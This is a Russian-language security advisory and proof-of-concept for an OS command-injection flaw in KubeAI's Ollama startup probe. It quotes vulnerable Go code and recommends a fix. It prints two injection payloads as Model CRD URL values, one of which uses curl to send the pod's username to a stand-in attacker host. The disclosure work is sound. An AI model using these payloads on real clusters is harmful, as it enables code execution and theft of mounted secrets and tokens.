
Proof-of-concept для инъекции команд ОС в стартовой проверке Ollama в KubeAI, демонстрирующий выполнение произвольного кода в подах моделей Kubernetes через специально сформированные URL в Model CRD.
Уровень серьёзности: Высокий (CVSS 8.7)
CWE: CWE-78 — Некорректная нейтрализация специальных элементов, используемых в команде ОС
Затронуто: github.com/kubeai-project/kubeai <= 0.23.1
Исправлено в: 0.23.2
Рекомендация: GHSA-324q-cwx9-7crr
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34940
Благодарность: Romain Deperne
KubeAI формирует shell-скрипт стартовой проверки Kubernetes путём интерполяции компонентов URL из CRD Model (ref, modelParam) в команду bash -c через fmt.Sprintf в Go. Специальные символы оболочки в URL не очищаются, что даёт любому пользователю с правами RBAC на создание/обновление CRD Model возможность выполнить произвольные команды внутри подов сервера модели — без привилегий cluster-admin.
Я изучал операторы вывода ИИ для Kubernetes — инструменты, которые позволяют разворачивать LLM как рабочие нагрузки K8s путём создания CRD. KubeAI поддерживает Ollama, vLLM и другие движки. Моя гипотеза была такой: если пользователь может создавать CRD Model, может ли он повлиять на то, что выполняется внутри подов модели?
Код движка vLLM сразу показал правильный шаблон: аргументы передаются как массив строк в exec, без участия оболочки. Поэтому я посмотрел на движок Ollama для сравнения — и обнаружил, что fmt.Sprintf("%s %s", pullCmd, u.ref) передаётся в bash -c. Классическая схема внедрения команд оболочки.
Регулярное выражение парсера URL [^?]+ (всё, кроме ?) — вот что это закрепляет: точки с запятой, обратные кавычки, $() — всё это допустимо в u.ref. Я написал PoC YAML, применил его и увидел, как id > /tmp/pwned выполняется внутри пода модели.
Нюанс, который повышает значимость: в мультитенантных кластерах K8s RBAC для CRD Model часто предоставляется командам, которые явно не являются cluster-admin. Это даёт тенанту с ограниченными привилегиями прямой путь к выполнению произвольного кода в подах модели — включая доступ к смонтированным секретам и токенам сервисных учётных записей. Это пересекает границу привилегий, которую RBAC K8s должен обеспечивать.
Файл: internal/modelcontroller/engine_ollama.go, строки 185–196
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref and u.modelParam come from the Model CRD URL field — user controlled
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: no sanitization
)
// ...
}
Эта строка затем выполняется как:
Command: []string{"bash", "-c", startupProbeScript}
Парсер URL (model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// Capture group 2 ([^?]+) allows any character except '?'
// Shell metacharacters ; | $() ` are all valid
Сравнение с движком vLLM (безопасно):
// engine_vllm.go — args passed as array, no shell involved
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
Движок Ollama идёт по короткому пути: он собирает многошаговый конвейер команд оболочки в виде строки и передаёт его в bash -c. Движок vLLM использует массивы аргументов в стиле exec. Никакой допускающий вебхук или валидация схемы CRD не ограничивает поле URL безопасными символами.
См. poc.yaml — примените с помощью kubectl apply -f poc.yaml в кластере с запущенным KubeAI с моделями Ollama.
Вектор 1 — URL-ссылка ollama:// (инъекция через точку с запятой):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
Сгенерированная проверка запуска:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
Команда id>/tmp/pwned выполняется и записывает uid=0(root)... в /tmp/pwned внутри пода.
Вектор 2 — параметр запроса ?model= (OOB-эксфильтрация):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
Сгенерированный зонд:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
Эксфильтрирует имя пользователя пода на сервер, контролируемый атакующим.
ModelЗамените bash -c <string> на exec-пробу, передающую аргументы в виде массива (как это уже делает движок vLLM), или проверяйте поля URL на соответствие ^[a-zA-Z0-9._:/-]+$ перед интерполяцией.